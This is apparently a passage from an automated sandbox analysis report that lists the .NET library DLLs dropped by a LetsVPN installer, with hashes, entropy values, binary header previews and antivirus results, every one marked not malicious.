Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:. Z.........." ..0.................. ........... ...............................I....@.....................................O.......L................+..........\|................................................ ............... ..H............text........ ...................... ..`.rsrc...L...........................@..@.reloc..............................@..B.......................H........K...Y............................................................{......{....V.(......}......}.......0..;........u......,/(.....{.....{....o....,.(.....{.....{....o...... ...E )UU.Z(.....{....o....X )UU.Z(.....{....o....X.0...........r...p......%..{.....................-.q.............-.&.+.......o.....%..{.....................-.q.............-.&.+.......o.....(......{...."..}......{...."..}......ra..p......%...%...%...(....( ......0..M........o...+..,...

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.577215048741679
Encrypted:	false
SSDEEP:	384:390wriHD7R3d4Q5ENmiL31SAAh1OSxJJssUJqgG/232nd4l4ueR8pwKANynsAw/m:t0w2j7R3d4Q5ENmiL31SAAh1OSxJJssK
MD5:	DF2B552517DFECF5D14AC9E6D929E5C4
SHA1:	E83E58A062FAC0EC00F119FD25A979C2BC658BE7
SHA-256:	FB72CD95421333B5B95323B845D47F1BB9A141717F6BD65DAC8AC4943AD6473C
SHA-512:	56BE9BCEE791CC87993BE1A4DCF599C09F7C966ED453486DDA163461EE799B0EFA2E73F7CAAD5B4C02FAFA8EF1F9647F0CB9B055818D57BFBA0FFC595315ABF0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g..........." ..0.............H... ...`....... ....................................@..................................G..O....`..\|............4...+...........F..T............................................ ............... ..H............text....(... ..................... ..`.rsrc...\|....`.......,..............@..@.reloc...............2..............@..B.................G......H.......8)...............................................................0..:.......s.......}......}......}......}...........s.....{....(...+...0..:.......s.......}......}......}......}...........s.....{....(...+...0..:.......s.......} .....}!.....}".....}#......$...s.....{ ...(...+...0..:.......s%......}&.....}'.....}(.....}).........s+....{&...(,......0..B.......s-.......}......}/.....}0.....}1.....}2......3...s+....{....(,...F...(...+...(...+*.0..B.......s5.......}6.

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.8204171824466115
Encrypted:	false
SSDEEP:	384:o6x4u20pwKANynsAw/98E9VF3AM+ouJhPL:oEoAw/KENAMx81L
MD5:	4416E30C112ECB4136C824C941D77B5F
SHA1:	0F621BC7D93752473DB7D46DD7F83E568EA02094
SHA-256:	AE70D745712E69F4D52120262FA75FB068EB904494EF7D93AB02677C63D55529
SHA-512:	82CB0259A7F711A8A59C656DB5F00A6DC29658468154ACD32CA6A57664155321E5B6FDA5E00118CF21A60B28BA0F9FFD522A2733743A906AE376B85434B2278D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............,... ...@....... ..............................3.....@..................................+..O....@..X................+...`.........T............................................ ............... ..H............text........ ...................... ..`.rsrc...X....@......................@..@.reloc.......`......................@..B.................+......H........ ..<...................(.......................................(......0...............(....o........(....s.......0............(.......(....s....(....2r...p.(....:.(......}.......0...........{.......(....,..~....*BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID.......p...#Blob...........W..........3..........................................................9.........[...............................c.....c...{.c...>.c.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	57832
Entropy (8bit):	6.288628643041189
Encrypted:	false
SSDEEP:	768:00GhwEvUmz5IR5tUe9CiXmEkzKeGIsNif11gNsNj8cIjqabdAw/KENAMxLo:WlIR56kCckz2DhiNIchabdAwrxLo
MD5:	8CC90AC3DF5B242BC1B6C139471636AD
SHA1:	4CFD6FD66F175965F88EEDBF0606257045DFFF96
SHA-256:	5D09A954FB3B731FD2C98E813383878DCA0DBD50FE8A077982B34121FF7CFB25
SHA-512:	5125304805504F381E6ED2B654F21E3A371D1C8D8992011874163A788A642F4D5049B12D8E914E879ED3105977057B411CBE7229D0759BF4389A60F83D4D2C62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....d............" ..0.............B.... ........... ....................... .......F....@.....................................O.......(................+..............T............................................ ............... ..H............text...H.... ...................... ..`.rsrc...(...........................@..@.reloc..............................@..B................".......H........=.....................t.........................................(......(......(...........Z~....,..o...&.............b~....-.r...ps....z~.....(#...o ....0..........(#......o!.....(....Q6.(.....(%....0..........(#........o".....(....QR.(.......(....('...:(#......o'...N.(.....(.....()...2(#....o#...2(#....o$.....o......o....2(#....o%...2(#....o&...6(#.....ok......0..........s.......}.....{....-...+........s.......(1...6(#.....ol...*6..(....(3..

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.699045541869867
Encrypted:	false
SSDEEP:	384:obX0gijditBKMBRBHsEQO7pwKANynsAw/98E9VF3AM+oHIE0yOk:obkVRiBB8fAw/KENAMxos
MD5:	AE6F980FE42E63162BD1AB7D94F5199F
SHA1:	6B2439C5223E183B38978FD3E038098D752D8E01
SHA-256:	41DE3C76987D109A780739466F04170A40F1F56BFF85D303A977E97EDBC351EE
SHA-512:	03BF0B8C15E1FCBA3D82A0BF7121F973512DF9774D27DF2AB07C6B434374E506E90A878920392A809EC1118FBB521C1FCC5C695CE3EF834E5AED23940A24C227
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....D............" ..0..............:... ...@....... ..............................].....@.................................X:..O....@..d............&...+...`......L9..T............................................ ............... ..H............text........ ...................... ..`.rsrc...d....@......................@..@.reloc.......`.......$..............@..B.................:......H........%.......................8.......................................0..K..........~....%-.&~..........s....%.....(....%~....(....,.r...p.r...p(....s....z..0..#.......(......-...(......3...(....s....z...(....%~....(....,.r)..p.r...p(....s....z..0..#.......(......-..(....&..3..(....&s....z..0..7..........~....%-.&~..........s....%.....(.........~....(......0............(.........~....(......E................+$r9..p.(....rI..p.(....rc..p.(....*s....z...0..........

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68072
Entropy (8bit):	6.049924534036129
Encrypted:	false
SSDEEP:	768:lMXMG2QW0RgqGlel80eX3xFhofnnN+HHHHns6sbEpyqJW6N0dAw/KENAMxWcl:W2UTGlel80eXSfnUnM6sbwXN0dAwrxWw
MD5:	26245B224B16C166E34E0A661955967F
SHA1:	FE19DAA54D713BA1C1D4A2ED53C917823DE489CC
SHA-256:	DC15D11946CBD1A3AC40925AD882F1256447B89BD7D0B07293C93FA7F80892FB
SHA-512:	16DBD1C9443A140A04BE4B39B83EA1E28A73842C35430213506A12576B5808D7A6834A64D9895C0F7A54AA8BC8D72FB1AEE5C07BC2B8CF9D0D2DD7FA0B01D592
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..............." ..0.................. ........... .......................@......a.....@.................................R...O........................+... ......4...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......dB..P...........................................................6.......(.....~....F~H......on......N........s....o...+..0............(........~......o.....0............(........~I.....or....0..%.........(..........(........~J.......ov.......0..H.........(..........(........~K....oz............(....(.........{........o....2~#....o....2~"....o....2~F....of...6~G.....oj...:~H......on...2~$....o....2~%....o....>.(.......o.......0..N........,........s.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	465384
Entropy (8bit):	6.220618457714342
Encrypted:	false
SSDEEP:	6144:GcGv7iCPwqEYosfdBtmXaxWoXY06nQk2zLRC+oRZkR4CDy2sqIT0czXYhlmW:a+CoCoCBtmXWnL6nd2ZiUR4WylT0q+l9
MD5:	0EAF9C30663A37A1439B910E81998F26
SHA1:	E22B93C32221F94826408527E9140CE4B652D673
SHA-256:	97B9453A756E2F68DAFF234ABE454EB761834E8AB33802C7C9A110CC83097DDE
SHA-512:	60020C564BACF440F347676F1E70721CB1EE1392C2114021EB85BD36DF959897FE929023752D7F0C969C5E083E9ECD9F52473C15F2CE8867FBDBA3FF1A55E732
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._]..........." ..0.............v.... ... ....... .......................`.......]....`.................................$...O.... ...................+...@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................X.......H........f..D[............................................................(G..."..(H...&...(I.....(...."..(....&...(....r.,.~......~...... ...._X..n.,.~.....~...... ...._X..R..2.~.... .....X..F..2.~.....h.X..R..2.~.... .....X..R..2.~.... .....X...0..A.........{.......a}......{.......a}......{.......a}......{.......a}........0..(..........?_d....1...n_....{.....Y.?_b`.{...._.0..@..........{.......(....}.......{.......(....}.......{.......(....}....*.0..5...

C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	278504
Entropy (8bit):	6.051539256474112
Encrypted:	false
SSDEEP:	6144:9bwZzM/arIPizbgQtYYYncnWDOsksHgtBwsbe+/ubhg:mzM/arIPizxUncQfZH7g
MD5:	9DD11CCB6AD5E68B47F7145EF2398513
SHA1:	E8A3FB83E34516CABF8A04DE0658CE9D184751B2
SHA-256:	59D8C72994391AE5AF2E261918055C04F843A4CD193C8F010F509E2FE27E6B3B
SHA-512:	D2A0C07EC1D4E658E0D99DD9326F79CE652A8A1EFBC530890CF9AECC62B984535DBE28D887E04A3692F088FFFE5A5DFF8284F1C3F759EB45A9636092ECA54E0E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ...@....... ....................................`.................................e..O....@...................+...`......x)..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......X... .............................................................{0.....{1...V.(2.....}0.....}1......0..;........u......,/(3....{0....{0...o4...,.(5....{1....{1...o6..... ... )UU.Z(3....{0...o7...X )UU.Z(5....{1...o8...X.0..b........r...p......%..{0......%q.........-.&.+.......o9....%..{1......%q.........-.&.+.......o9....(:...V!..../c...s;..........{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......{...."..}......(2.....

C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53224
Entropy (8bit):	6.1911084320327205
Encrypted:	false
SSDEEP:	768:MDGXmBiIOJv2IIXs4UOPhbY+m/rihAt5A8o4/aBS8XpTt/yO0yFtAw/KENAMxHl:MDGXmBiXanx+zehk/WpB/yO0yrAwrxHl
MD5:	53B6BC74F76CF41B93EA8CE98B3E0AAB
SHA1:	BEC0CC1B8C65B6045E359AA509DCDC5D354D0B47
SHA-256:	0F9779F08B4EC49BB884C7B2784268AEC1108A3A9E97FD6FF6628BA5C7AF2929
SHA-512:	2A1C67AC8166B5EB9D7641653C7A8DBB831B61FEAEA6638470DB552B8B4BB0CE55C2FAFBAD5F139CCA126DC32A8388141FE5AD46C64D34EC623592B274D53FF7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...h@qZ.........." ..0.............~.... ........... ....................................`....................................O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................^.......H........O...g..................(.......................................&...(....6.......(....:........(.......~....%-.&~..........s....%.....(......0..@........(....s.......o......}.....s....}.....{......i.....o......}.....0..............(.....`,........0..Q.........R.{....u......o......{ .......i2...R...{........\| .....X.(!....................0..............("....`,........0............R.{....u......o......{ .....o#......X......i1...R...{........\| ......(!.....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.868995697038425
Encrypted:	false
SSDEEP:	384:5DNxWQFWZLpwKANynsAw/98E9VF3AM+o1MTurx:5DNV3Aw/KENAMxKC
MD5:	590803CA6E22888F80D0B49BEC315C3A
SHA1:	1030CE4C1C1E3E9A591195C1CEA702715CE9CAB5
SHA-256:	BC6C2FA37D1890C3D164E92478BA83FAA22D7A348550AD095296ABB195D1416C
SHA-512:	B612F5DEEB092F453A4CBD4F5052E09CCDF02D331E8FE593613091E564A83B9653276AEAA785717F1CF61A97E9DD822FE638DF98D7679E3438DDD00C2BA43F56
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0.............f(... ...@....... ....................................@..................................(..O....@...................+...`.......&............................................... ............... ..H............text...l.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H(......H.......P ......................\&......................................BSJB............v4.0.30319......l...\|...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.....K.N...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23016
Entropy (8bit):	6.722097829825641
Encrypted:	false
SSDEEP:	384:vrMdp9yXOfPfAxR5zwWvYW8a+YpwKANynsAw/98E9VF3AM+oSrWKb7kZL:vrMcXP6zAw/KENAMxXv9
MD5:	A02D9353B59A4751F8AEA5C46BD01906
SHA1:	FC1D3BAAF9CABD5B0356207A38D703471F39B8EB
SHA-256:	F95E7C7D6D4EB85D4B3745C69E72EAEE76BABA707611B917417AAAC6B8C8EF94
SHA-512:	C16F1866E131E2BCB713EF7701C9E7C695E25764DAA03CDE7888B141129F0F71266CF8B163B048415E4404D87648198B6EC09D7D7D3C520FB8E8E8B93A087F29
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ..............................n.....@..................................B..O....`..@................+...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....B.....(.........R.....(...+%-.&(!...^.....("....(...+&~.....s$..."..s%.....(&........0......................

C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30184
Entropy (8bit):	6.332226298486135
Encrypted:	false
SSDEEP:	384:3dgrnDxt3942O1NEIY3lzZIcKBxehzsCtZ7U6r1fDXJx/WpuW04pwKANynsAw/9t:tgXxtu5jEIYDhzZpmWAw/KENAMxnxD
MD5:	02741B04DB92F7B05B348AFA6A3762DC
SHA1:	28BD58F1C25802E8DD3509DD12B480A601B24A56
SHA-256:	5E765817CE1728AA3C601ED29C3053F1D31F902843E927B466EB4A69BD6A3C5F
SHA-512:	02D3591509AA913A4AA4B6327F4F7D353665B0F01D3C96A9B2E58653BCC828757B2CD8ACD94905F8811936DC58C0BADB457566A6D55C19DB12724503B4A881B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dP'..........." ..0..>..........\... ...`....... ..............................Rf....`..................................[..O....`...............J...+...........[..T............................................ ............... ..H............text...0<... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............H..............@..B.................\......H........#...)...........L.......Z.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(....*.(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.954767949758013
Encrypted:	false
SSDEEP:	384:Lm2igOWnW8rWCfpwKANynsAw/98E9VF3AM+oagS7:bt6Aw/KENAMxY7
MD5:	FB02078309057452174BD0C682250F08
SHA1:	E8F475D956FE988F0D3B07D20C86F2D729707246
SHA-256:	0B80C0CC327DBB8CD142DA35FB4385C704DE0424ED3798E15ED23AAA13D71E4F
SHA-512:	8E3CE570069777B2CD9D33F6D9E4D3EEEA357C816ABE24C2E359A6CE3ABF55B28B4280C8DE4B3E00018366CAC01151B6D04F0F947F93F8F6701BDB5C325BE407
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ..............................v.....@.................................t)..O....@..D................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...D....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3................................................n.o.....o.....\...........8...3.8...P.8.....8.....8.....8.....8.....8.....1.....8.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.949449681177467
Encrypted:	false
SSDEEP:	384:Jqnapn1iwwPWcGWeRpwKANynsAw/98E9VF3AM+ooMY6XX:nDu9Aw/KENAMxMy
MD5:	D3173DFEDA64755B2E88329BA521A801
SHA1:	50345FA89691566C305F6813E7F090063BB4B5CE
SHA-256:	A60CD3F791865B52A62F015E293A44FCEEC922618D06FE4AB1B90642D770F30D
SHA-512:	12BBF2474C13CC7CA99F9EFD8604F7CB6A3FCFB769B9B404AAFF148DDB6EB06D0B12F4014F0FBF1780CD78832A1CF66EA5D662DBF55D4993865DA35FD8003035
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ...............................,....@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..t.......#Strings....<.......#US.@.......#GUID...P.......#Blob......................3................................................F.o.....o.....\...........,.....,...(.,.....,...f.,.....,.....,.....,.....%.....,.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9572138486630015
Encrypted:	false
SSDEEP:	384:IHLaEav5aaUa6arWVLWm2pwKANynsAw/98E9VF3AM+oS8L:FPv5t/NOTAw/KENAMxR
MD5:	6D59D66B69AA9B2EBED4DF7EDB962A02
SHA1:	7A7DB5C892C23FDF7B2E8A6D7ED15BFF358E4A80
SHA-256:	BF99E4F0DCB690CAB2A19BA10401B945EB9C1D3C1171DE59C5494619EFD2E4FE
SHA-512:	15D74063B81295D72DC5D63A91C8EC948ABCB35A9476A6A82067B59E0B391ED6423D6985E687BCBF0F7FD2A993903E5875EB0AAB288E01FEBB15B964F68C0243
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@..P................+...`......P(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................`.....`...t.M.................................=.....V.................q.....Z...................G.....G.....G...).G...1.G...9.G...A.G...I.G...Q.G...Y.G...a.G...i.G...q.G.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.820783478949804
Encrypted:	false
SSDEEP:	384:I6iIJq56dOuWSKeWPMpwKANynsAw/98E9VF3AM+obtIiknXAt:SiAJAw/KENAMxbrka
MD5:	405227EDFB4BF10D916204FF66937B3F
SHA1:	7AF08E29C0A42FE772E121160A53F7EC97B5A77A
SHA-256:	2E474F101AA124959013BB256FAC2B846E56572F59AD39B3D43965BAFFE750B8
SHA-512:	36F448C12973B27356F0F660AC5DCBB52102D53D1E0226820319F541A90597D2F83C71086B1E6FEF31BACD43467C1C93A3D7F2682A7242C709CD8F5138BACFD8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0................. ...@....... ...............................w....@....................................O....@...................+...`......L)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ..\|....................(......................................BSJB............v4.0.30319......l.......#~..\|.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3................................................k.~.....~.....k..............0....M...............................#..........x...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C./...K.O...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38376
Entropy (8bit):	5.996055274986792
Encrypted:	false
SSDEEP:	768:iXDQsPurQcR3y6JOnSHDYFDhAw/KENAMxp5Fp/:izPtcE6JhHEFdAwrxp5X/
MD5:	CB0EA4B211367CC748B2279BE13B54AA
SHA1:	7C6A70C904520DACC1A7631B4AC22F085701FF6C
SHA-256:	BF4AC24D5C1A6A6E5A667BA039FFAF864D32C1BC2A32E91FF95FD817F747A20C
SHA-512:	F352E34D0E644166547B24316479870A3224F85C0DA4A596526590A6BA0AA242326AC503DCB9DDCBA22F63AF849C57E0787B8AF3E8C5C57A79327E11C0A0F20D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>.Z.........." ..0..Z..........Bx... ........... ....................................@..................................w..O....................j...+..........8w............................................... ............... ..H............text...HX... ...Z.................. ..`.rsrc................\..............@..@.reloc...............h..............@..B................"x......H........$...............R.. $...v......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....2r=..p.(....2r}..p.(....2r...p.(....2r...p.(....2r%..p.(....2r]..p.(....2r...p.(....2r/..p.(....*2r...p.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.868132034991061
Encrypted:	false
SSDEEP:	384:Enzz+MpSaLWW0+W71pwKANynsAw/98E9VF3AM+o0XbobU:ipuAAw/KENAMxZbU
MD5:	0795AA09694508A9B849DD0F6220B2D4
SHA1:	44577C0256DD688589A71BC86428E896997030A2
SHA-256:	7C77A2CC3F60EECA74965CF46F6DBDE0366FD92C8CAF6000310E0AA1BDB84206
SHA-512:	772926A6E60CD1ACF1F16154042BDF1A41EB26413E55BA1BC724D676C670551BBF8BF4422A7D876469F681C388468B39B17945A33BAADB58DC26EAAE48DB9A93
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............B... ...@....... ..............................f ....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$......H.......P ......................8(......................................BSJB............v4.0.30319......l.......#~..t...@...#Strings............#US.........#GUID....... ...#Blob......................3............................................................V...........j.................i...........8.................S.....<...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.'...C.B...K.b...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.917233914321296
Encrypted:	false
SSDEEP:	384:8Ghr+YUfyHxsW/HWQBpwKANynsAw/98E9VF3AM+oMInWFQ:bkmiAw/KENAMx1R
MD5:	8A8189FDD8ADFEE4C9C72A5F5F41DC52
SHA1:	83FF3CED32D3C89E89F368D693AD012F23C39C76
SHA-256:	C38A47446F5E94DF13AB0CFACF52ACBC48734A127C4DF5511A286E2CEFD22409
SHA-512:	CD84259C1C937C54677D56C67A6AC4BB92F388C40D6FF1703098F8A54D32129A414EE37FDDFA7FCB57F652256B935DE456EBF6DFA9CE88FD9F95A1579C457347
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............+... ...@....... ..............................3.....@.................................<+..O....@..`................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................p+......H.......P ..4....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................................Y.]...{.]...6.J...}.....r........... .............................................................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17896
Entropy (8bit):	6.852031215308936
Encrypted:	false
SSDEEP:	384:GRE+ruiA5vzWeNWM3pwKANynsAw/98E9VF3AM+ouAY/d:GS9bmAw/KENAMx1S
MD5:	3269A44986CE0A3BC21ADD533DBC126B
SHA1:	B0648BB683E2097FAEFE1A04657C656A2806576F
SHA-256:	CDA60B4E685C9A38A952492D2190F4A707EA92E548016C3D7E556E2F84EABE20
SHA-512:	79CD8E1EBE2AEBF66D2E619F79C9B094D265D203FCDACE29720D6BCBAB05C4A9B3156615478443434643FAA60FB5660D6531E7DADC2D556E42AFBC574B3B8A06
Malicious:	false
